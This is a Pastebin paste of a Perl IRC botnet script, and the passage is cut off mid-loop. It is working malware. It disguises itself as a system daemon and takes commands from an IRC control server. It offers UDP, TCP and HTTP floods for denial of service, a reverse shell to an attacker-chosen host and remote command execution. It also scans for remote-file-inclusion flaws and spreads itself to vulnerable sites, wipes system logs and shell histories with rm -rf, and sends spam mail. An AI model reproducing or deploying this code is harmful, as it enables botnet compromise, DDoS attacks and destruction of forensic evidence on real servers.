Advertisement
quill

Untitled

Jul 11th, 2014
228
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 51.55 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
  3. # % stereal@DALnet Pwned your BoX %
  4. # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
  5. #
  6. # ooo
  7. # (o o)
  8. # ooO--(_)--Ooo-
  9. #
  10. # rhyan Bot Version 3.0 Private FiNAL
  11. #
  12. #You can use the following commands :
  13. #!bot @portscan <ip>
  14. #!bot @nmap <ip> <beginport> <endport>
  15. #!bot @back <ip><port>
  16. #!bot @udpflood <ip> <packet size> <time>
  17. #!bot @tcpflood <ip> <port> <packet size> <time>
  18. #!bot @httpflood <site> <time>
  19. #!bot @linuxhelp
  20. #!bot @rfi <vuln> <dork>
  21. #!bot @system
  22. #!bot @milw0rm
  23. #!bot @logcleaner
  24. #!bot @deface
  25. #!bot @spread <rfi = for example www.mywebsite.com/index.php?= >
  26. #!bot @sendmail <subject> <sender> <recipient> <message>
  27. #!bot @join <#channel>
  28. #!bot @part <#channel>
  29. #!bot @help
  30. #!bot cd tmp for example
  31. #!bot !eval <code= for example :@nickname>
  32. #
  33.  
  34. ######################
  35. use HTTP::Request;
  36. use LWP::UserAgent;
  37. ######################
  38. my @rps = ("/usr/local/apache/bin/httpd -DSSL",
  39. "/usr/sbin/httpd -k start -DSSL",
  40. "/usr/sbin/httpd",
  41. "/usr/sbin/sshd -i",
  42. "/usr/sbin/sshd",
  43. "/usr/sbin/sshd -D",
  44. "/usr/sbin/apache2 -k start",
  45. "/sbin/syslogd",
  46. "/sbin/klogd -c 1 -x -x",
  47. "/usr/sbin/acpid",
  48. "/usr/sbin/cron");
  49. my $processo = $rps[rand scalar @rps];
  50. ######################
  51. #####################################################################
  52. #/!\ .:CONFIGURATION:. /!\#
  53. #####################################################################
  54. ############################################
  55. my $linas_max='10';
  56. my $sleep='3';
  57. #-----------------
  58. #Sleep Time and Max. Lines for Anti Flood #
  59. ############################################
  60. my $cmd="";
  61. my $id="http://packetstormsecurity.org/files/view/25090/ddos.txt?";
  62. my $spread="http://packetstormsecurity.org/files/view/25090/ddos.txt?";
  63. #-----------------
  64. #Spreader, ID=Response, CMD = Print CMD #
  65. ############################################
  66. my @adms=("master.net");
  67. #----------------- #
  68. #Admins of the Bot set your nickname here #
  69. ############################################
  70. my @canais=("#bt");
  71. #----------------- #
  72. #Put your channel here #
  73. ############################################
  74. my $mynum = int rand(999999);
  75. my $nick = "Q" . $mynum . "";
  76. my $ircname ='Q';
  77. chop (my $realname = '4Q buddy');
  78. #----------------- #
  79. #Identity #
  80. ############################################
  81. $servidor='rsec.noip.me' unless $servidor;
  82. my $porta='1025';
  83. #----------------- #
  84. #IRCServer and port #
  85. ############################################
  86. #####################################################################
  87. #/!\ .:CONFIGURATION:. /!\#
  88. #####################################################################
  89. ######################
  90. #End of Configuration#
  91. # #
  92. ######################
  93. $SIG{'INT'} = 'IGNORE';
  94. $SIG{'HUP'} = 'IGNORE';
  95. $SIG{'TERM'} = 'IGNORE';
  96. $SIG{'CHLD'} = 'IGNORE';
  97. $SIG{'PS'} = 'IGNORE';
  98. use IO::Socket;
  99. use Socket;
  100. use IO::Select;
  101. chdir("/");
  102.  
  103. # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
  104. # % stereal@DALnet Pwned your BoX %
  105. # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
  106.  
  107. #Connect
  108. $servidor="$ARGV[0]" if $ARGV[0];
  109. $0="$processo"."\0"x16;;
  110. my $pid=fork;
  111. exit if $pid;
  112. die "Masalah fork: $!" unless defined($pid);
  113.  
  114. our %irc_servers;
  115. our %DCC;
  116. my $dcc_sel = new IO::Select->new();
  117. $sel_cliente = IO::Select->new();
  118. sub sendraw {
  119. if ($#_ == '1') {
  120. my $socket = $_[0];
  121. print $socket "$_[1]\n";
  122. } else {
  123. print $IRC_cur_socket "$_[0]\n";
  124. }
  125. }
  126.  
  127. sub conectar {
  128. my $meunick = $_[0];
  129. my $servidor_con = $_[1];
  130. my $porta_con = $_[2];
  131. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
  132. PeerPort=>$porta_con) or return(1);
  133. if (defined($IRC_socket)) {
  134. $IRC_cur_socket = $IRC_socket;
  135. $IRC_socket->autoflush(1);
  136. $sel_cliente->add($IRC_socket);
  137. $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  138. $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  139. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  140. $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  141. nick("$meunick");
  142. sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  143. sleep 1;
  144. }
  145. }
  146.  
  147. my $line_temp;
  148. while( 1 ) {
  149. while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  150. delete($irc_servers{''}) if (defined($irc_servers{''}));
  151. my @ready = $sel_cliente->can_read(0);
  152. next unless(@ready);
  153. foreach $fh (@ready) {
  154. $IRC_cur_socket = $fh;
  155. $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  156. $nread = sysread($fh, $msg, 4096);
  157. if ($nread == 0) {
  158. $sel_cliente->remove($fh);
  159. $fh->close;
  160. delete($irc_servers{$fh});
  161. }
  162. @lines = split (/\n/, $msg);
  163. for(my $c=0; $c<= $#lines; $c++) {
  164.  
  165. $line = $lines[$c];
  166. $line=$line_temp.$line if ($line_temp);
  167. $line_temp='';
  168. $line =~ s/\r$//;
  169. unless ($c == $#lines) {
  170. parse("$line");
  171. } else {
  172. if ($#lines == 0) {
  173. parse("$line");
  174. } elsif ($lines[$c] =~ /\r$/) {
  175. parse("$line");
  176. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  177. parse("$line");
  178. } else {
  179. $line_temp = $line;
  180. }
  181. }
  182. }
  183. }
  184. }
  185.  
  186. sub parse {
  187. my $servarg = shift;
  188. if ($servarg =~ /^PING \:(.*)/) {
  189. sendraw("PONG :$1");
  190. }
  191. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  192. my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  193. if ($args =~ /^\001VERSION\001$/) {
  194. notice("$pn", "\001VERSION mIRC v6.17 Balimoon\001");
  195. }
  196. if (grep {$_ =~ /^\Q$hostmask\E$/i } @adms ) {
  197. if ($onde eq "$meunick"){
  198. shell("$pn", "$args");
  199. }
  200. if ($args =~ /^(\Q$meunick\E|\!bots)\s+(.*)/ ) {
  201. my $natrix = $1;
  202. my $arg = $2;
  203. if ($arg =~ /^\!(.*)/) {
  204. ircase("$pn","$onde","$1") unless ($natrix eq "!bots" and $arg =~ /^\!nick/);
  205. }
  206. elsif ($arg =~ /^\@(.*)/) {
  207. $ondep = $onde;
  208. $ondep = $pn if $onde eq $meunick;
  209. bfunc("$ondep","$1");
  210. }
  211. else {
  212. shell("$onde", "$arg");
  213. }
  214. }
  215. }
  216. }
  217. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  218. if (lc($1) eq lc($meunick)) {
  219. $meunick=$4;
  220. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  221. }
  222. }
  223. elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  224. nick("$meunick".int rand(999999));
  225. }
  226. elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  227. $meunick = $2;
  228. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  229. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  230. $uptime=`uptime`;
  231. $uname=`uname -srp`;
  232. foreach my $canal (@canais) {
  233. sendraw("JOIN $canal");
  234. sendraw("privmsg $canal :$uname <" . $uptime . ">");
  235. }
  236. }
  237. }
  238.  
  239. sub bfunc {
  240. my $printl = $_[0];
  241. my $funcarg = $_[1];
  242. if (my $pid = fork) {
  243. waitpid($pid, 0);
  244. }
  245. else {
  246. if (fork) {
  247. exit;
  248. }
  249. else {
  250. if ($funcarg =~ /^help/) {
  251. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 Select the function you want help for");
  252. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@ddos");
  253. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@rfiscan");
  254. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@backconnect");
  255. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@shell");
  256. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@portscanner");
  257. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 Or if you want too know all the commands type:");
  258. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@commands");
  259.  
  260. }
  261.  
  262. if ($funcarg =~ /^ddos/) {
  263. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 There are 3 DDossers in this bot");
  264. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 UDPFlood, HTTPFlood and TCPFlood");
  265. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@udpflood <ip> <packet size> <time>");
  266. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@tcpflood <ip> <port> <packet size> <time>");
  267. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@httpflood <site> <time>");
  268. }
  269. if ($funcarg =~ /^rfiscan/) {
  270. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 This bot also contains a RFI Scanner.");
  271. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 Commands :");
  272. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@rfi <vuln> <dork>");
  273. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 You can find strings here : http://www.xshqiptaretx.org/strings.txt ");
  274. }
  275. if ($funcarg =~ /^backconnect/) {
  276. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 You use backconnect like this :");
  277. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@back <ip><port>");
  278. }
  279. if ($funcarg =~ /^shell/) {
  280. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 This bot has a integrated shell");
  281. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 You can use it in private but also public in the channel");
  282. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 In public channel just use : 7!bot cd tmp12 for example");
  283. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 For help with the linux commands type :!bot 7@linuxhelp");
  284. }
  285. if ($funcarg =~ /^portscanner/) {
  286. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 There is a normal portscan and a Nmap:");
  287. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@portscan <ip>");
  288. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@nmap <ip> <beginport> <endport>");
  289. }
  290. if ($funcarg =~ /^commands/) {
  291. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 You can use the following commands :");
  292. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@portscan <ip>");
  293. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@nmap <ip> <beginport> <endport>");
  294. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@back <ip><port>");
  295. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot cd tmp 12 for example");
  296. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@udpflood <ip> <packet size> <time>");
  297. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@tcpflood <ip> <port> <packet size> <time>");
  298. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@httpflood <site> <time>");
  299. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@linuxhelp");
  300. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@spread <rfi>");
  301. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@rfi <vuln> <dork>");
  302. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@system");
  303. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@logcleaner");
  304. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@deface");
  305. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@sendmail <subject> <sender> <recipient> <message>");
  306. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@milw0rm");
  307. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@join #channel");
  308. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Help12] 12 !bot 7@part #channel");
  309. }
  310. if ($funcarg =~ /^linuxhelp/) {
  311. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@LiNuX12] 12 - 12 Dir where you are : pwd");
  312. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@LiNuX12] 12 - 12 Start a Perl file : perl file.pl");
  313. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@LiNuX12] 12 - 12 Go back from dir : cd ..");
  314. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@LiNuX12] 12 - 12 Force to Remove a file/dir : rm -rf file/dir;ls -la");
  315. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@LiNuX12] 12 - 12 Show all files/dir with permissions : ls -lia");
  316. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@LiNuX12] 12 - 12 Find config.inc.php files : find / -type f -name config.inc.php");
  317. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@LiNuX12] 12 - 12 Find all writable folders and files : find / -perm -2 -ls");
  318. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@LiNuX12] 12 - 12 Find all .htpasswd files : find / -type f -name .htpasswd");
  319. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@LiNuX12] 12 - 12 Find all service.pwd files : find / -type f -name service.pwd");
  320. }
  321. if ($funcarg =~ /^spread\s+(.*)/) {
  322. $vuln = $1;
  323. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Spread12] Spreading bot on :4 $vuln");
  324. my $shellurl="http://".$vuln.$spread."?";
  325. my $reqz=HTTP::Request->new(GET=>$shellurl);
  326. my $ua=LWP::UserAgent->new();
  327. my $response=$ua->request($reqz);
  328. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Spread12] Bot is Spreaded on :4 $vuln");
  329. }
  330. if ($funcarg =~ /^system/) {
  331. $uname=`uname -a`;$uptime=`uptime`;$ownd=`pwd`;$distro=`cat /etc/issue`;$id=`id`;$un=`uname -sro`;
  332. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@SystemInfo12] 12Info BOT : 7 Servidor :Hiden : 6667");
  333. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@SystemInfo12] 12Uname -a : 7 $uname");
  334. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@SystemInfo12] 12Uptime : 7 $uptime");
  335. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@SystemInfo12] 12Own Prosses : 7 $processo");
  336. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@SystemInfo12] 12ID : 7 $id");
  337. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@SystemInfo12] 12Own Dir : 7 $ownd");
  338. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@SystemInfo12] 12OS : 7 $distro");
  339. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@SystemInfo12] 12Owner : 7 Attack");
  340. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@SystemInfo12] 12Channel : 7 kubucyber");
  341. }
  342. if ($funcarg =~ /^milw0rm/) {
  343. my @ltt=();
  344. my @bug=();
  345. my $x;
  346. my $page="";
  347. my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
  348. print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  349. my @r = <$socke>;
  350. $page="@r";
  351. close($socke);
  352. while ($page =~ m/<title>(.*)</g){
  353. $x = $1;
  354. if ($x =~ /\<\;/) {
  355. $x =~ s/\<\;/</g;
  356. }
  357. if ($x !~ /milw0rm/) {
  358. push (@bug,$x);
  359. }}
  360. while ($page =~ m/<link.*expl.*([0-9]...)</g) {
  361. if ($1 !~ m/milw0rm.com|exploits|en/){
  362. push (@ltt,"http://www.milw0rm.com/exploits/$1 ");
  363. }}
  364. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Milw0rm12]12 Latest exploits :");
  365. foreach $x (0..(@ltt - 1)) {
  366. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Milw0rm12]12 $bug[$x] - $ltt[$x]");
  367. sleep 1;
  368. }}
  369. if ($funcarg =~ /^portscan (.*)/) {
  370. my $hostip="$1";
  371. my
  372. @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
  373. my (@aberta, %porta_banner);
  374. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Portscan12]12 Scanning for open ports on ".$1." 12 started .");
  375. foreach my $porta (@portas) {
  376. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto =>
  377. 'tcp', Timeout => 4);
  378. if ($scansock) {
  379. push (@aberta, $porta);
  380. $scansock->close;
  381. }
  382. }
  383.  
  384. if (@aberta) {
  385. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Portscan12]12 Open ports founded: @aberta");
  386. } else {
  387. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Portscan12]12 No open ports foundend.");
  388. }
  389. }
  390.  
  391. ######################
  392. # End of Portscan #
  393. # #
  394. ######################
  395. # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
  396. # % stereal@DALnet Pwned your BoX %
  397. # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
  398. ######################
  399. # Nmap #
  400. # #
  401. ######################
  402. if ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/){
  403. my $hostip="$1";
  404. my $portstart = "$2";
  405. my $portend = "$3";
  406. my (@abertas, %porta_banner);
  407. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Nmap12] 4: $1 12.:4Ports12:. 4 $2-$3");
  408. foreach my $porta ($portstart..$portend){
  409. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  410. if ($scansock) {
  411. push (@abertas, $porta);
  412. $scansock->close;
  413. if ($xstats){
  414. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Nmap12] 12Founded 4 $porta"."/Open");
  415. }
  416. }
  417. }
  418. if (@abertas) {
  419. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Nmap12] Complete ");
  420. } else {
  421. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Nmap12] No open ports have been founded 13");
  422. }
  423. }
  424. ######################
  425. # End of Nmap #
  426. # #
  427. ######################
  428. # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
  429. # % stereal@DALnet Pwned your BoX %
  430. # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
  431. ######################
  432. # Log Cleaner #
  433. # #
  434. ######################
  435. if ($funcarg =~ /^logcleaner/) {
  436. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@LogCleaner12] This process can be long, just wait");
  437. system 'rm -rf /var/log/lastlog';
  438. system 'rm -rf /var/log/wtmp';
  439. system 'rm -rf /etc/wtmp';
  440. system 'rm -rf /var/run/utmp';
  441. system 'rm -rf /etc/utmp';
  442. system 'rm -rf /var/log';
  443. system 'rm -rf /var/logs';
  444. system 'rm -rf /var/adm';
  445. system 'rm -rf /var/apache/log';
  446. system 'rm -rf /var/apache/logs';
  447. system 'rm -rf /usr/local/apache/log';
  448. system 'rm -rf /usr/local/apache/logs';
  449. system 'rm -rf /root/.bash_history';
  450. system 'rm -rf /root/.ksh_history';
  451. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@LogCleaner12] All default log and bash_history files erased");
  452. sleep 1;
  453. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@LogCleaner12] Now Erasing the rest of the machine log files");
  454. system 'find / -name *.bash_history -exec rm -rf {} \;';
  455. system 'find / -name *.bash_logout -exec rm -rf {} \;';
  456. system 'find / -name "log*" -exec rm -rf {} \;';
  457. system 'find / -name *.log -exec rm -rf {} \;';
  458. sleep 1;
  459. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@LogCleaner12] Done! All logs erased");
  460. }
  461. ######################
  462. # End of Log Cleaner #
  463. # #
  464. ######################
  465. #
  466. # The PitBull !!!!
  467. #
  468. ######################
  469. # MAILER #
  470. # #
  471. ######################
  472. # For mailing use :
  473. # !bot @sendmail <subject> <sender> <recipient> <message>
  474. #
  475. ######################
  476. if ($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
  477. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Mailer12] Sending Mail to :2 $3");
  478. $subject = $1;
  479. $sender = $2;
  480. $recipient = $3;
  481. @corpo = $4;
  482. $mailtype = "content-type: text/html";
  483. $sendmail = '/usr/sbin/sendmail';
  484. open (SENDMAIL, "| $sendmail -t");
  485. print SENDMAIL "$mailtype\n";
  486. print SENDMAIL "Subject: $subject\n";
  487. print SENDMAIL "From: $sender\n";
  488. print SENDMAIL "To: $recipient\n\n";
  489. print SENDMAIL "@corpo\n\n";
  490. close (SENDMAIL);
  491. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Mailer12] Mail Sended To :2 $recipient");
  492. }
  493. ######################
  494. # End of MAILER #
  495. # #
  496. ######################
  497. ######################
  498. # Join And Part #
  499. # #
  500. ######################
  501. if ($funcarg =~ /^join (.*)/) {
  502. sendraw($IRC_cur_socket, "JOIN ".$1);
  503. }
  504. if ($funcarg =~ /^part (.*)/) {
  505. sendraw($IRC_cur_socket, "PART ".$1);
  506. }
  507.  
  508. ######################
  509. #End of Join And Part#
  510. # #
  511. ######################
  512. # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
  513. # % stereal@DALnet Pwned your BoX %
  514. # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
  515. ######################
  516. # TCPFlood #
  517. # #
  518. ######################
  519.  
  520. if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  521. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@TCP-DDOS12] Attacking 4 ".$1.":".$2." 12for 4 ".$3." 12seconds.");
  522. my $itime = time;
  523. my ($cur_time);
  524. $cur_time = time - $itime;
  525. while ($3>$cur_time){
  526. $cur_time = time - $itime;
  527. &tcpflooder("$1","$2","$3");
  528. }
  529. sendraw($IRC_cur_socket,"PRIVMSG $printl :12[4@TCP-DDOS12] Attack done 4 ".$1.":".$2.".");
  530. }
  531. ######################
  532. # End of TCPFlood #
  533. # #
  534. ######################
  535. # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
  536. # % stereal@DALnet Pwned your BoX %
  537. # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
  538. ######################
  539. # Back Connect #
  540. # #
  541. ######################
  542. if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
  543. my $host = "$1";
  544. my $porta = "$2";
  545. my $proto = getprotobyname('tcp');
  546. my $iaddr = inet_aton($host);
  547. my $paddr = sockaddr_in($porta, $iaddr);
  548. my $shell = "/bin/sh -i";
  549. if ($^O eq "MSWin32") {
  550. $shell = "cmd.exe";
  551. }
  552. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  553. connect(SOCKET, $paddr) or die "connect: $!";
  554. open(STDIN, ">&SOCKET");
  555. open(STDOUT, ">&SOCKET");
  556. open(STDERR, ">&SOCKET");
  557. system("$shell");
  558. close(STDIN);
  559. close(STDOUT);
  560. close(STDERR);
  561. if ($estatisticas)
  562. {
  563. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@BackConnect12] Connecting to 4 $host:$porta");
  564. }
  565. }
  566. ######################
  567. #End of Back Connect#
  568. # #
  569. ######################
  570. # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
  571. # % stereal@DALnet Pwned your BoX %
  572. # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
  573. ######################
  574. # EXTREME SCANNER #
  575. # #
  576. ######################
  577. ######################################################################
  578. #################### GOOGLE
  579. ######################################################################
  580. if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
  581. if (my $pid = fork) {
  582. waitpid($pid, 0);
  583. } else {
  584. if (fork) {
  585. exit;
  586. } else {
  587. my $bug=$1;
  588. my $dork=$2;
  589. my $contatore=0;
  590. my %hosts;
  591. ### Start Message
  592. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Scan12] The [E]xtreme RFiScan is started for 4$dork");
  593. ### End of Start Message
  594. # Starting The Search Engine
  595. my @google=&googlet($dork);
  596. #
  597. push(my @tot, @google);
  598. #
  599. my @puliti=&unici(@tot);
  600. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Scan12] 12G4o8o12g9l4e12 Total:4 ".scalar(@tot)." 12Cleaned:4 ".scalar(@puliti)." 12for 2 $dork ");
  601. my $uni=scalar(@puliti);
  602. foreach my $sito (@puliti)
  603. {
  604. $contatore++;
  605. if ($contatore %100==0){
  606. }
  607. if ($contatore==$uni-1){
  608. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Scan12] 12G4o8o12g9l4e12 finished for2 $dork");
  609. }
  610. ### Print CMD and TEST CMD###
  611. my $test="http://".$sito.$bug.$id."?";
  612. my $print="http://".$sito.$bug.$cmd."?";
  613. ### End of Print CMD and TEST CMD###
  614. my $req=HTTP::Request->new(GET=>$test);
  615. my $ua=LWP::UserAgent->new();
  616. $ua->timeout(5);
  617. my $response=$ua->request($req);
  618. if ($response->is_success) {
  619. my $re=$response->content;
  620. if($re =~ /kangkung/ && $re =~ /uid=/){
  621. my $hs=geths($print); $hosts{$hs}++;
  622. if($hosts{$hs}=="1"){
  623. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Vuln12] 2(12SafeMode:4OFF2) 2(12Site:4 $print 2) ");
  624. sendraw($IRC_cur_socket, "PRIVMSG kangkung :12[4@Vuln12] 2(12SafeMode:4OFF2) 2(12Site:4 $print 2) ");
  625. my $test2="http://".$sito.$bug.$spread."?";
  626. my $reqz=HTTP::Request->new(GET=>$test2);
  627. my $ua=LWP::UserAgent->new();
  628. my $response=$ua->request($reqz);
  629. }}
  630. elsif($re =~ /kangkung/)
  631. {
  632. my $hs=geths($print); $hosts{$hs}++;
  633. if($hosts{$hs}=="1"){
  634. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Vuln12] 2(12SafeMode:3ON2) 2(12Site:4 $print 2) ");
  635. my $test2="http://".$sito.$bug.$spread."?";
  636. my $reqz=HTTP::Request->new(GET=>$test2);
  637. my $ua=LWP::UserAgent->new();
  638. my $response=$ua->request($reqz);
  639. }}
  640. }}}
  641. exit;
  642. }}
  643.  
  644. ######################################################################
  645. #################### AllTheWeb
  646. ######################################################################
  647. if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
  648. if (my $pid = fork) {
  649. waitpid($pid, 0);
  650. } else {
  651. if (fork) {
  652. exit;
  653. } else {
  654. my $bug=$1;
  655. my $dork=$2;
  656. my $contatore=0;
  657. my %hosts;
  658. # Starting The Search Engine
  659. my @alltheweb=&allthewebt($dork);
  660. my @allweb=&standard($dork);
  661. #
  662. push(my @tot, @alltheweb, @allweb);
  663. #
  664. my @puliti=&unici(@tot);
  665. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Scan12] 7All7The7Web12 Total:4 ".scalar(@tot)." 12Cleaned:4 ".scalar(@puliti)." 12for 2 $dork ");
  666. my $uni=scalar(@puliti);
  667. foreach my $sito (@puliti)
